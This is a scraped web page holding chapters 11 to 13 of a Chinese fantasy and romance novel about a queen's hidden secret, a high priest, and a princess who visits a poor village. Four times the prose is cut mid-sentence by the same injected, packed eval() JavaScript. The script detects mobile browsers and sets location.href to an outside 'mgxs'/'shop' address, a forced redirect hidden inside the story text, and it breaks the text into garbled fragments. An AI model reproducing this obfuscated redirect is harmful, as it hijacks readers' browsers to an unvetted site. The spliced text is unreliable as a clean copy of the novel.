;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371605|199937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就可以彻底掌控苏眦，再也不用担心那些宵小——” “够了。”女王打断他，语气微微加重，凤眸中带着帝王的压迫，“朕不想再说第二次。你要知道，这话要是从别人嘴里说出来，早就该被朕治罪了。” 那人沉默了。 片刻后，他微微躬身，语气里带着一丝不易察觉的遗憾：“是，臣遵命。” 他顿了顿，又问：“那铸器的事，陛下可还满意？” 女王的目光闪了闪。 “进展如何？” “很顺利。”那人说，“再有半个月，应该就能完成了。” 女王点点头，脸上看不出喜怒：“下去吧。” 那人躬身行礼，退后几步，转身离去，嘴角挂着一丝诡异的笑意。 门关上，屋内只剩下女王一人。 她坐在那里，一动不动，像一尊雕像。 褚秋水正要开口说什么，忽然她发现不对。 女王的头微微动了一下。然后，她的身体开始微微颤抖，幅度不大，却让人莫名觉得诡异。 “不……不行……” 她忽然开口，声音低哑，像是另一个人在说话。 “你答应过的……” 又是一阵颤抖。 然后，她猛地抬起头，像是溺水的人终于爬上岸，眼神中是褚秋水从来没有见过的惊惶。 那眼神只存在了一瞬，就被压下去了。 女王捂住头，大口喘着气。过了好一会儿，她才慢慢平静下来，重新坐直身体。 她抬起手，抹了抹额上的汗水，随后靠在龙椅上，目光复杂。 片刻后，她忽然轻轻笑了一声。笑声很低，带着些许说不清的疲惫和嘲讽。 “还在挣扎什么呢……”她喃喃道，声音轻得几乎听不见，“都这么多年了……” 褚秋水的心猛地一沉。 她想起白天觐见时，女王那一瞬间的眼神恍惚。 那不是错觉。 两人对视一眼，悄无声息地把瓦片盖回去。卫寒苍朝那个男人离开的方向努了努嘴，褚秋水会意，两人沿着屋顶悄悄跟了上去。 那男人走得很快，穿过几道回廊，拐进一座偏殿。殿门没关，里面的灯火透出来，在地上拉出一道长长的影子。 卫寒苍轻车熟路地找到屋顶上一个隐蔽的位置，掀开瓦片。褚秋水凑过去，两人一起往下看。 殿内陈设简单，一张书案，几架书，墙上挂着一幅巨大的舆图。那男人背对着她们站在书案前，案上摊着几卷画轴。 他拿起一卷，展开对着烛光端详。 褚秋水眯起眼——画上是一个年轻男子，剑眉星目，面容俊朗，看着不过二十出头。那人看了一会儿，摇摇头，卷起来放到一边。又拿起第二卷。 这回画上的人更年轻些，眉眼柔和，带着几分书卷气。那人看了许久，指尖在画上的人像上轻轻划过，像是在丈量什么。最后他还是摇了摇头，放到另一边。 第三卷、第四卷、第五卷……他一卷一卷地看，每一卷都看得很仔细。烛火跳动着，在他脸上投下忽明忽暗的光影。他的表情很认真，认真得不像是在欣赏，倒像是在……挑选。 褚秋水压低声音：“这是在给郡主挑夫婿？” 卫寒苍没说话，只是盯着那人的手。 那人终于停在其中一卷画轴上。画上的人约莫二十五六，生得浓眉大眼，身量魁梧，看着就是一副好身板。那人把画轴举到烛光下，里里外外看了好几遍，嘴角渐渐浮起一丝笑意。 那笑意和之前在女王寝宫时一模一样——温和，却让人后背发凉。 他喃喃自语了一句什么，声音太轻，隔着屋顶听不真切。但褚秋水看见他的口型了。 “这个……不错。” 他把画轴小心地卷起来，收进书案下的暗格里。其余的画轴则被他抱到墙角，一把火烧了个干净。 火光映在他脸上，那张温文尔雅的面孔在明灭间显出一种说不清的诡异。 褚秋水看着那堆灰烬，又看看那个暗格，心里忽然冒出一个奇怪的念头——挑夫婿，用得着这么慎重吗？而且那些画上的人，长得都有些眼熟…… 她还没来得及细想，卫寒苍轻轻拉了拉她的袖子。 “走了。” 两人如来时一般，悄无声息地退了出去。 11. 秘密 看来这苏眦王室暗藏着不小的秘密。 回到寝殿，关上门，褚秋水瘫在床上，长长地吐了口气。 回到寝殿，关上门，褚秋水靠在门板上，把刚才看见的又想了一遍。 “你说，他看那些画像，到底是在看什么？” 卫寒苍走到桌边倒了杯茶，慢悠悠地喝了一口。 “你猜。” 褚秋水想了想：“给华兰泽选驸马？” 卫寒苍看了她一眼，那目光里带着一点意味深长。 “也许吧。”他说，“不过选驸马，用得着烧掉落选的吗？” 褚秋水愣住了。 “而且，”卫寒苍放下茶杯，“那些画上的人，你注意了吗？” “注意什么？” “画上那些人，”他说，“倒是有几个，长得跟他自己年轻时候挺像。” 烛火跳了跳。 褚秋水后背忽然有点发凉。 “而且，你看到了吗，那个男人一直……”她又提起在女王宫殿中见到的场景。 卫寒苍点点头，脸色比平时凝重。 “一直在引导女王接受什么。”卫寒苍接过话，“但女王拒绝了。” 褚秋水心里隐有不安，女王最后的状态肯定不对，但这个问题，又不能直接问女王。 两人都没再说话。 过了许久，卫寒苍站起身，走到她面前，又拿出那块毛巾。 “你头发还没干透。”卫寒苍看了一眼她的发梢，“躺下，我再给你擦擦。” “不用了吧……” “躺下。” 褚秋水不敢反驳，只能乖乖躺下。 卫寒苍拿起帕子，继续给她擦头发。动作比之前轻了许多，一下一下，像是怕弄疼她。 褚秋水枕在她膝上，看着她的侧脸，心里全是今晚的谜团。 烛火摇曳，一室静谧。 过了一会儿，卫寒苍忽然开口：“秋水。” “嗯？” “如果有一天，你发现我骗了你……”她顿了顿，“你会怎么办？” 褚秋水愣了愣，然后笑了：“那要看是什么事了，具体问题具体分析。” 卫寒苍低头看她。 烛光下，她的眼睛亮亮的，干净得像山间的溪水。 她忽然移开视线，继续擦头发。 “……真是个呆子。” “你又骂我。” “我不是，我没有，你别瞎说啊。” 窗外，月色如水。 远处，隐约传来更夫的梆子声。 咚，咚，咚。 已经三更天了。 翌日清晨，阳光被纱帐滤得更加柔软，柔柔地洒在床榻上。 褚秋水是被一阵敲门声吵醒的。 “褚姑娘，卫公子，陛下口谕——” 她迷迷糊糊地睁开眼，发现自己枕在卫寒苍肩上，她的手臂搭在她腰间，两人像两只猫一样蜷在一起。 她愣了愣，然后轻轻挪开她的手，坐起身来。 卫寒苍也醒了，睡眼惺忪地看着她，头发乱糟糟的。 “谁啊……” “传话的。”褚秋水已经起身，拿起外衣披上，“说陛下有请。” 卫寒苍打了个哈欠，慢吞吞地爬起来。 两人洗漱完毕，推开门，外面站着个内侍，恭恭敬敬地行礼：“两位，郡主已经在等着了。” 郡主？ 褚秋水一愣，跟着内侍往外走。 穿过几道回廊，远远就看见华兰泽站在一座亭子里。 她今日换了一身鹅黄色的衣裙，比昨日那身劲装柔和了许多，长发梳成双环髻，簪着几朵珠花，整个人看起来青春洋溢。 只是她一看见褚秋水，耳尖就红了。 “咳。”她清了清嗓子，努力板着脸，“母后让我带你们四处转转。” 褚秋水点点头：“有劳郡主。” 华兰泽看她一眼，飞快地移开视线，转身就走。 “跟我来。” 褚秋水跟上去，卫寒苍走在旁边，嘴角噙着一丝若有若无的笑。 华兰泽带他们走的不是前日进宫的那条路，而是一条偏道。 “这是哪儿？”褚秋水问。 “王宫的后苑。”华兰泽头也不回，“母皇说，你们既然来了苏眦，就该见识见识我们苏眦的气派。” 她顿了顿，语气里带着点骄傲：“苏眦现在这样，都是母皇一手建立的。” 褚秋水没说话。 华兰泽带她们穿过梧桐道，眼前豁然开朗。 是一片碑林。 大大小小的石碑立在那里，有的高过人头，有的只及腰间。每块碑上都刻着字，密密麻麻，有些已经被风雨侵蚀得模糊不清。 “这是什么？”褚秋水问。 “国史碑。”华兰泽走到第一块碑前，伸手抚摸着上面的字迹，“这一块，母后登基那一年立的。” 褚秋水走过去，看着碑上的字。 字迹工整，一笔一划，像是刻碑的人用了十分的心力。 上面记载的，是四十年前苏眦的样子。 内有连年干旱，导致田地里颗粒无收。外有邻国侵扰，边境不宁。国库空虚，民不聊生，一时间人人自危。 “那时候，苏眦什么都没有。”华兰泽的声音从旁边传来，带着点说不清的情绪，“母后接手的时候，她才十六岁。十六岁，比我现在还小一岁。” 褚秋水转头看她。 华兰泽站在石碑前，目光落在那些字迹上，脸上有骄傲，有心疼，还有点别的什么。 “她一个人撑起了整个国家。”华兰泽说，“没有钱，她就削减开支，裁撤冗杂，把省下来的银子拿去赈灾。没有人，她就亲自去边境谈判，跟那些邻国的君主周旋。没有粮，她就带着人去开荒，亲手种下第一茬麦子……” 她说着，声音微微发颤。 “你知道吗，她登基的前几年，几乎没有睡过一个整觉。内忧外患，扰得她无法安眠。有几次累得晕倒在御书房，醒来第一句话问的还是灾民安置好了没有……” 褚秋水听着女王的丰功伟绩，心中亦是动容。 她又想起昨晚看见的女王——那个坐在御座上，雍容华贵，威仪赫赫的女人。也是那个深夜颤抖着、被什么东西夺舍的孤魂。 “后来呢？”她问。 华兰泽深吸一口气，带着她往前走。 第二块碑，第三块碑，第四块碑…… 每一块碑上都刻着一段历史。 第十年，苏眦终于有了存粮。 第十五年，边境安定，邻国来朝。 第二十年，国库充盈，百姓安居。 第二十五年，苏眦成为西域最强盛的国家之一。 碑文上的字迹，从最初的沉重，渐渐变得轻快。到了最后几块碑，刻的都是盛世景象——路不拾遗，夜不闭户，商旅往来，络绎不绝。 华兰泽站在最后一块碑前，看着上面的字，眼眶微微发红。 “母皇用三十年时间，把苏眦从一个什么都没有的穷国，变成现在这样。”她说，“所以我很崇拜她，以后，我会把这些都修进史书中，我要给母皇单独立传。” 褚秋水看着她，忽然问：“那村里的百姓呢？” 华兰泽一愣，没想到话题换转得这么快。 “什么？” “村子。”褚秋水说，“我们来的时候，住的那个村子。那里的百姓，为什么过得那么苦？” 华兰泽愣住了。 她张了张嘴，想说什么，却什么都说不出来。 “你说的这些碑文，刻的都是盛世。”褚秋水指着那些石碑，“可是我在那个村子里看到的，是三年没有盐吃的老人，是瘦得皮包骨头的孩子，是被搜刮一空的屋子。” 她看着华兰泽，目光平静。 “郡主，你说苏眦现在是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371606|199937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盛世。那他们呢？他们算什么？在这里，有他们的位置吗。” 华兰泽的脸色变了。 她站在那里，一动不动，像是被人当头浇了一盆冷水。 “我……”她张了张嘴，声音发涩，“我不知道……” 她是真的不知道。 从小到大，她看到的都是王宫的繁华，是母后的威严，是朝臣的恭敬。她学过治国之道，背过典章律法，可从来没有人告诉过她，那些条文落在百姓身上，会是什么样子。 “郡主不知道？”一个声音忽然响起。 三人同时转头。 不远处的梧桐树下，站着一个男人。 他穿着深色的官袍，身形修长，面容俊美——正是昨晚那个穿着祭典礼服的人。 他缓步走来，嘴角噙着一丝淡淡的笑意。 “郡主不知道，那臣来告诉郡主。”他在华兰泽面前站定，微微躬身，“那些百姓过的苦日子，就是治理国家小小的代价而已。” 褚秋水的眉头皱了起来。 华兰泽看着他，脸色复杂：“商大人……” 这人姓商？ 见褚秋水有些疑惑，华兰泽悄悄告诉她，这人叫商策，是苏眦国的大祭司。 商策直起身，目光从华兰泽脸上扫过，落在褚秋水身上。 “这位就是昨日与郡主切磋的那位姑娘？”他笑了笑，语气温和，“果然英姿飒爽，名不虚传。” 褚秋水没说话，只是点点头。 他也不在意，自顾自地说下去：“姑娘方才问，那些百姓为什么过得苦。这个问题，臣来替郡主回答。” 他顿了顿，缓缓道：“因为国家需要。” “三十年前，苏眦什么都没有。陛下励精图治，才有了今日的盛世。可盛世是要代价的——要养军队，要修水利，要建王宫，要办庆典。这些钱从哪里来？” 他微微倾身，看着褚秋水，目光里带着一丝怜悯：“姑娘，你吃的粮食，是从地里长出来的。可你知不知道，那些种粮的人，可能自己都吃不饱？” 褚秋水沉默。 “卖油的娘子水梳头，这就是代价。”商策语气平静，“总要有人吃苦，才能换来别人的甜。总要有人付出，才能换来国家的强大。” 他看着褚秋水，笑了笑：“姑娘觉得不公平？可这世上，从来就没有绝对的公平。” 风从梧桐叶间穿过，吹得树叶沙沙作响。 华兰泽站在那里，嘴唇微微发抖。她想说什么，却什么都说不出来。 褚秋水看着她，又看看商策。 她忽然笑了。她很少这样笑，那笑容很淡，却让人莫名觉得有些冷。 “商大人说得对。”她说，“这世上没有绝对的公平。” 她顿了顿，目光直视着他：“可我想问一句——那些吃苦的人，凭什么就该他们吃苦？” 商策微微挑眉。 “大人方才说，总要有人吃苦，才能换来别人的甜。”褚秋水一字一句道，“那我想请问，那些吃苦的人，他们换来的是什么？” 她上前一步，声音不高，却字字清晰：“大人，您说的‘别人’，是谁？” 商姓男子看着她，目光里闪过一丝什么。 片刻后，他忽然笑了。 “姑娘好口才。”他说，“只是姑娘有没有想过，若是没有这些人吃苦，就没有今日的苏眦。没有今日的苏眦，那些人连吃苦的机会都没有。” 他微微躬身，语气依旧温和：“姑娘是外乡人，不了解苏眦的国情，有些话说出来，臣可以理解。只是……” 他抬起头，目光忽然变得幽深：“有些事，不是非黑即白的。” 褚秋水毫不畏惧，与他对视。 阳光从树叶缝隙里漏下来，落在他脸上，明明灭灭。 褚秋水感觉到，这个男人身上，有什么东西让人很不舒服。那种感觉，就像昨晚在女王寝宫看见的那抹笑意一样幽冷。 12. 亲自去看看 “商大人。”卫寒苍忽然开口，笑眯眯地走上前，“您说得太深奥了，我们这些外乡人听不懂。要不您给解释解释——那些被收走的铁，铸成什么东西了？” 商策的目光微微一凝。 他看着卫寒苍，脸上依旧是那副温和的笑，只是眼底有什么东西一闪而过。 “这位是……” “只是一个无名小辈。”卫寒苍笑得一脸无害，“就是好奇。那么多铁，总得铸点什么东西吧？” 商姓男子沉默了一瞬，然后笑了。 “您说笑了。”他说，“那些铁，自然是铸成了兵器、农具、器物，充实国库，造福百姓。” “是吗？”卫寒苍歪了歪头，“可我听说，这些年百姓家里连口铁锅都没有，都用陶罐煮饭。” 商姓男子的笑容顿了顿。 “姑娘听谁说的？” “不是听谁说的。”卫寒苍眨眨眼，一脸无辜，“是我们亲眼看见的。” 商姓男子看着他，目光渐渐深沉。 片刻后，他忽然笑了一声。 “姑娘好眼力。”他说，“只是有些事，不是表面上看起来那么简单的。” 他转过身，看向华兰泽，微微躬身。 “郡主，臣还有公务在身，先行告退。” 他转身离去，步伐沉稳，不疾不徐。 阳光落在他背上，在地上投下长长的影子。风穿过树梢，沙沙作响。 褚秋水站在原地，看着那道背影消失的方向，眉头紧锁。 卫寒苍走到她身边，压低声音：“这人不太对劲。” 褚秋水点点头。 华兰泽站在那里，脸色依旧苍白。她看着褚秋水，张了张嘴，想说什么，却什么都说不出来。 “郡主。”褚秋水看着她，“你还好吗？” 华兰泽摇了摇头，又点了点头，最后低下头去。 褚秋水看着她，忽然有些心软。 这姑娘，从小被保护得太好了，只知书上写的，像被保护在玻璃罩子中，不知真实的世界。 她走上前，伸手拍了拍华兰泽的肩膀。 “不知道就去看。”她说，“亲自去看那些村子，去看那些百姓。纸上得来终觉浅，绝知此事要躬行。等看完了，你就知道了。” 华兰泽抬起头，看着她。 那双眼睛里，有迷茫，有不安，也有一丝隐隐的光。 “……我可以吗？我之前从来没出去过，上次见你们，是我第一次出王宫。” “为什么不可以？”褚秋水笑了，“你是郡主，想去哪儿就去哪儿。” 华兰泽看着她，眼眶忽然红了。 她飞快地低下头，把脸埋下去，不让褚秋水看见。 褚秋水和她又说了几句，就准备和卫寒苍离开了。 华兰泽袖中捏着昨天晚上那个香囊，心中正在天人交战。 她又和那个女孩子走了，她要回去了，以后还能有借口再约她出来吗。 干脆现在就和她说吧。 “等一下！” 华兰泽突然出声，拦住要离开的两人。 “还有什么事吗。”褚秋水果然停下来了。 华兰泽脸上红云乍现：“我……我东西想送给你。” 说出这句话华兰泽就后悔了。 万一她不知道她的意思呢，万一她拒绝她了呢，万一…… 见她一直扭捏不说话，卫寒苍心里明白了七八分，忍不住开口催着：“不说话我们就走了。” 说完拉着褚秋水，恨不得一秒飞回住所。 华兰泽也怕褚秋水和她走了，急急上前，取下自己腰间的玉牌，也不敢看褚秋水，就塞到她手里。 “这个……这个送你了，以后你要干什么事情也方便。当然，拿这个来见我也可以……” 丢下这句话，华兰泽就逃也似的离开了。 卫寒苍望着她逃走的身影，冷哼一声，挽着褚秋水的手更紧了点。 褚秋水自然是一脑门子的摸不清楚，看不出这其中的官司。 她想追上去问个清楚，毕竟无功不受禄，平白拿人家东西也不好。但身旁卫寒苍挽得紧，她挣不开。 就这一会功夫，华兰泽就跑得无影无踪了。 褚秋水也只好暂时收着这个玉牌，想着时机适合就还给她。 深夜，华兰泽的东宫还点着灯。 她趴在香案上，指尖扒拉着白天没送出去的香囊，脑中全是褚秋水的话。 她原来会这么温柔、这么耐心地鼓励别人。可惜今天没把香囊送出去，但是玉牌送出去了，也是一大进步吧。 她会懂我的意思吗，会主动来找…… 算了算了，她不来找我，我就去找她。她不是鼓励我实地考察吗，我明天就去。 翌日清晨，阳光刚爬上窗棂，华兰泽就站在了褚秋水的寝殿门口。 她今日换了身寻常衣裳，月白色的襦裙，外罩一件青色的半臂，头发也只简单梳了个髻，插了根素银簪子。乍一看，倒像个乡间的悠闲女郎。 只是她站在门口来回踱步的样子，怎么看都像只热锅上的蚂蚁。 “郡主？”守门的内侍小心翼翼地问，“您这是……” “咳。”华兰泽清了清嗓子，努力让自己看起来镇定一些，“我来找……找褚姑娘。她起了吗？” 话音刚落，门开了。 褚秋水一身利落的劲装，大剑背在身后，精神抖擞地出现在门口。看见华兰泽，她愣了愣：“郡主？这么早？” 华兰泽的耳尖又红了。 “我……我昨晚想了想，”她努力让自己的声音平稳，“你说得对，纸上得来终觉浅。所以我决定，今天就去实地考察一下。” 她顿了顿，飞快地看了褚秋水一眼：“你……你能陪我一起去吗？” 褚秋水还没来得及回答，身后就传来一个懒洋洋的声音。 “哟，郡主亲自来请啊？” 卫寒苍从褚秋水身后探出半个脑袋，头发还有些乱，眼下淡淡的青黑证明她昨晚睡得不太踏实。 她看了看华兰泽，又看了看褚秋水，嘴角扯出一个似笑非笑的弧度。 “这怎么好意思，让郡主亲自跑一趟。” 华兰泽看着她，莫名觉得这话里带着点刺。但她顾不上细想，只眼巴巴地看着褚秋水。 褚秋水想了想，点头：“行，正好我也想回村里看看。” 华兰泽眼睛一亮。 卫寒苍在旁边幽幽地补了一句：“那我呢？” “你当然一起去啊。”褚秋水理所当然地说，“三个人热闹。” 卫寒苍的嘴角微微上扬，快步走到褚秋水身边，得意地看了华兰泽一眼。 华兰泽再钝感，都看出了其中的挑衅意味。但碍于这里人多，她也只能暂时按捺下此刻的不耐。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371607|199937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 三人出了王宫，一路往村子走去。 华兰泽第一次以这种方式走在街上，看什么都新鲜，很快就把刚才的不快忘记了。 她一会儿指着路边卖糖人的小摊问“这是捏了个什么”，一会儿又盯着人家屋檐下晾晒的腊肉发呆，活像只刚出笼的鸟。 “你没见过这些？”褚秋水问。 华兰泽摇头：“没有。我从小到大，出门都是坐马车，帘子拉得严严实实的。母皇说，外面不安全。” 褚秋水看着她，忽然有点理解她之前对百姓的现状这么不了解了。 卫寒苍听了，在一旁悠悠开口：“那郡主今天可要跟紧我们，别走丢了。这街上人这么多，万一被人贩子拐走了……” “你才被人贩子拐走！”华兰泽瞪她。 卫寒苍笑眯眯地往褚秋水身边凑了凑：“我有秋水姐姐保护，不怕。” 华兰泽看着她那只搭在褚秋水胳膊上的手，眼睛微微眯了眯。 她走上前，自然而然地站到褚秋水另一边，语气随意地问：“对了，昨天那个商策，你们是不是觉得他很奇怪？” 褚秋水的注意力果然被转移了：“他是什么人？” “大祭司。”华兰泽说，“苏眦的祭司和其他地方不一样，不只是管祭祀，还会向上天祈求启示，来保证大势运转。” 卫寒苍挑眉：“启示？什么启示？” “就是……占卜。”华兰泽斟酌着措辞，“这种占卜所耗费人力物力极大，一般十年甚至几十年才会有一次，每次占卜的结果，没有不应验的。” 褚秋水和卫寒苍对视一眼。 “那最近一次的占卜……”褚秋水问。 华兰泽沉默了一瞬，低声道：“就是有关盐和铁的。” 她顿了顿，继续说：“我听母皇说过，三十年前，商策刚刚上任，就占卜出一个预言：手握盐与铁的人，将来到这个国家，终结这个王朝。母皇就是根据这个预言，开始收集盐铁的。” 褚秋水微微点头。那个预言，和她听周伯说过差不多一致。看来女王收集盐铁，是想通过这个方式来阻止预言发生吗。 她还注意到了一个细节。 “你说商策是三十年前占卜出来的预言，他怎么现在还这么年轻？”褚秋水问。 “他们祭司都是这样，”华兰泽耸耸肩，“从他们当选祭司那一刻，就容颜永驻了。直到生命快要终结时，才会瞬间衰老得不成样子。” 褚秋水沉默了。 卫寒苍忽然开口：“那些祭司，是怎么选出来的呀？” 华兰泽愣了愣，回忆一下：“好像是上一任死后自动转世，落在任何一个人身上都有可能。母皇之前还下过令，禁止祭司私自转世。怎么了？” “没什么。”卫寒苍笑了笑，“就是好奇。” 见卫寒苍好奇，华兰泽更是有了多说两句的想法：“并且，每一任祭司都是天授神权，不用什么培训，就可以自由掌握沟通天地的能力。” 她们三个人一边说着，一边继续往前走。 华兰泽算是发现，只要她跟褚秋水说话，卫寒苍就会凑过来，要么插一句嘴，要么往褚秋水身边挨一挨。 而只要她试图靠近褚秋水另一边，卫寒苍就会不知道会从哪里钻出来，轻轻巧巧地拦住她。 抢又抢不过，直接计较又显得她很小气。 她咬了咬牙，决定不理她。 13. 体验 村子到了。 还是那副破败的样子，土墙斑驳，茅草屋顶塌陷，孩子们光着脚在土路上跑。 但今天不一样的是，村民们看见褚秋水，脸上都露出了笑容。 “褚姑娘回来了！” “卫公子也来了！” “快，去告诉周伯！” 华兰泽站在一旁，看着村民们热情地围上来，心里忽然有些不是滋味。 这些人，看见她这个郡主的时候，可不是这副表情。不过幸好她今天化了妆，和那天的样子不太像。 周伯从人群里挤出来，看见褚秋水，眼眶又红了：“姑娘，你没事吧？那天王宫来的人……没为难你吧？” “没有。”褚秋水笑着拍拍他的肩，“周伯，还是老样子，今天我是带人来帮你们干活的。” 她一指华兰泽：“这位是……我的朋友，什么活她都能学着干。周伯，您给安排安排？” 周伯看了看华兰泽，有些拘谨地点点头：“好，好……” 华兰泽站在原地，忽然有些不知所措。 干活？ 怎么干？她之前从来没干过。 周伯想了想，安排她去挑水。 华兰泽看着面前那根扁担和两只木桶，陷入了沉思。 “这……怎么用？” 褚秋水示范了一遍。扁担上肩，水桶下井，一提一拉，满满两桶水就上来了。 “就这样。”她把扁担递给华兰泽，“试试。” 华兰泽接过扁担，往肩上一放—— “哎哟！” 扁担差点从肩上滑下来。她手忙脚乱地扶住，水桶晃来晃去，洒了半路。 卫寒苍在旁边看得直乐：“郡……华小姐，你这是挑水还是洒水啊？” 华兰泽瞪她，但顾不上还嘴，因为水桶又开始晃了。 她咬着牙，一步一步往前走，扁担在肩上压出一道红印。等她好不容易走到周伯家门口，两桶水已经只剩小半桶了。 “我……我成功了？”她气喘吁吁地问。 周伯看着那点水，欲言又止。 褚秋水拍了拍她的肩：“第一次，不错了。” 华兰泽刚想笑，就听卫寒苍在旁边小声嘀咕：“半桶水，够干嘛的……” 她深吸一口气，决定不理她。 下一项：生火做饭。 华兰泽蹲在灶台前，手里拿着火折子，对着灶膛里的柴火使劲吹。 吹一下，冒烟。 再吹一下，还是冒烟。 再吹一下—— “呼！” 火苗蹿起来，差点烧到她的发梢。 华兰泽吓得往后一仰，一屁股坐在地上。 褚秋水连忙把她拉起来：“没事吧？” 华兰泽摇头，脸上却沾了灶灰，黑一道白一道的，像只花猫。 卫寒苍在旁边笑得直不起腰：“郡主，你这是做饭还是烧厨房啊？” 华兰泽忍无可忍：“你行你来！” “我来就我来。”卫寒苍撸起袖子，蹲到灶台前，动作娴熟地点火、添柴、吹气——一气呵成，火苗稳稳地烧起来。 她回头，冲华兰泽微微一笑：“看，这不就行了？” 华兰泽：“……” 她一把把对方挤开，她就不信了，她华兰泽还有干不好的事。 看见她们两个积极干活的模样，褚秋水感到非常欣慰，把厨房留给她们两个就出去砍柴了。 华兰泽看着那些被褚秋水教过的孩子们，他们面色红润，和其他人不同，忍不住去多问了几句。 午饭是一锅野菜粥。 华兰泽端着碗，看着碗里那点稀薄的米粒和蔫巴巴的野菜，半天下不去嘴。 “怎么了？”褚秋水问。 华兰泽犹豫了一下，小声说：“我……从来没吃过这个。” “那就尝尝。”褚秋水说，“这就是他们每天吃的东西。” 华兰泽看着她，又看看碗里的粥，终于低头喝了一口。 寡淡无味，还有一股野菜的涩味。 她嚼了嚼，忽然问：“这粥……怎么没放盐？” 周伯在旁边苦笑道：“小姑娘，我们这儿，三年没吃过盐了。” 华兰泽愣住了。 她想起自己说过的说的“每户每月定额配给”，想起那些亲自核过的账目，那些她以为万无一失的数字。 账目上，这个村子明明每月都领了盐的。 那盐呢？ 她放下碗，忽然没了胃口。 下午，褚秋水带她去地里干活。 翻地、除草、施肥，每一件都是华兰泽从来没做过的事。 她笨手笨脚地挥着锄头，没一会儿手上就磨出了水泡。太阳晒得她头晕眼花，汗水顺着脸颊往下淌，滴在干裂的土地上。 “累了就歇会儿。”褚秋水说。 华兰泽摇头，咬着牙继续干。 她忽然想起那些书里写的。百姓“日出而作，日落而息”“勤恳劳作，安居乐业”。 那些字写得那么漂亮，可她从来没想过，原来“日出而作”是这么累的。 太阳落山时，她瘫坐在田埂上，浑身酸疼，手上全是血泡。 卫寒苍走过来，递给她一个水囊。 华兰泽抬头看她，以为她要说什么风凉话。 但她什么都没说，只是把水囊塞进她手里，转身走了。 华兰泽愣了一下，感觉她这个人也没那么讨厌。 回村的路上，华兰泽一直沉默。 她看着那些破败的屋子，看着那些瘦弱的孩子，看着那些被搜刮一空的粮仓。 这些都是账目上没有的。 “秋水。”她忽然开口。 “嗯？” “你说的对。”华兰泽低下头，声音闷闷的，“我确实什么都不知道。” 褚秋水看着她，没有说话。 “我一直以为，母皇做的都是对的。”华兰泽继续说，“她那么厉害，把苏眦治理得那么好。书上写的，账上记的，都是盛世……” 她顿了顿，声音有些发颤：“可为什么，他们过得这么苦？” 褚秋水拍了拍她的肩。 “书上的位置很窄，它只为王侯将相作传，为盗侠义勇题记。”她说，“它从来不以百姓为主角，从他们的角度来写。你要想了解他们，只能都进他们的生活，自己去看。” 华兰泽抬起头，看着她。 夕阳的余晖落在褚秋水脸上，给她的轮廓镀上一层淡淡的金边。 华兰泽的心忽然漏跳了一拍。 她飞快地低下头去，不让人看见自己发烫的脸。 旁边，卫寒苍看着这一幕，轻轻哼了一声。 她走上前，自然而然地站到两人中间，一手挽住褚秋水的胳膊。 “走吧，天快黑了，该回去了。” 华兰泽看着她的手，忽然觉得牙又开始痒了。 三人往王宫的方向走去。 送走一直缠着她聊天的华兰泽，褚秋水拖着劳动了一天的身子回到寝殿。 卫寒苍早已洗漱完毕，正歪在榻上翻着一本不知从哪摸来的书。见她进来，眼皮都不抬一下：“回来了？” “嗯。”褚秋水把大剑靠在墙边，一屁股瘫在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371608|199937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 椅子上，顺手摸起杯茶，“今天可真累。” “累？”卫寒苍翻了一页书，语气幽幽的，“陪着郡主殿□□验民情，多有意思啊。挑水、生火、锄地，一样不落。我看你教得挺开心的嘛。” 饶是褚秋水再迟钝，也发现了对方话里有刺，转头看去。 烛光下，卫寒苍的脸隐在半明半寐的光影里，表情看不太清。 “你怎么了？”褚秋水问。 “没怎么。”卫寒苍又翻了一页书，“就是感慨，有些人平时对我爱答不理的，对别人倒是又耐心又温柔。” 褚秋水：“……我对你什么时候爱答不理了？” “没有吗？” “没有。” “那今天一整天，你主动跟我说话了吗？” 褚秋水努力回忆了一下，好像……确实没有。光顾着带华兰泽体验生活，确实有些疏忽了。 她有点心虚地摸了摸鼻子：“那不是……忙着嘛。” 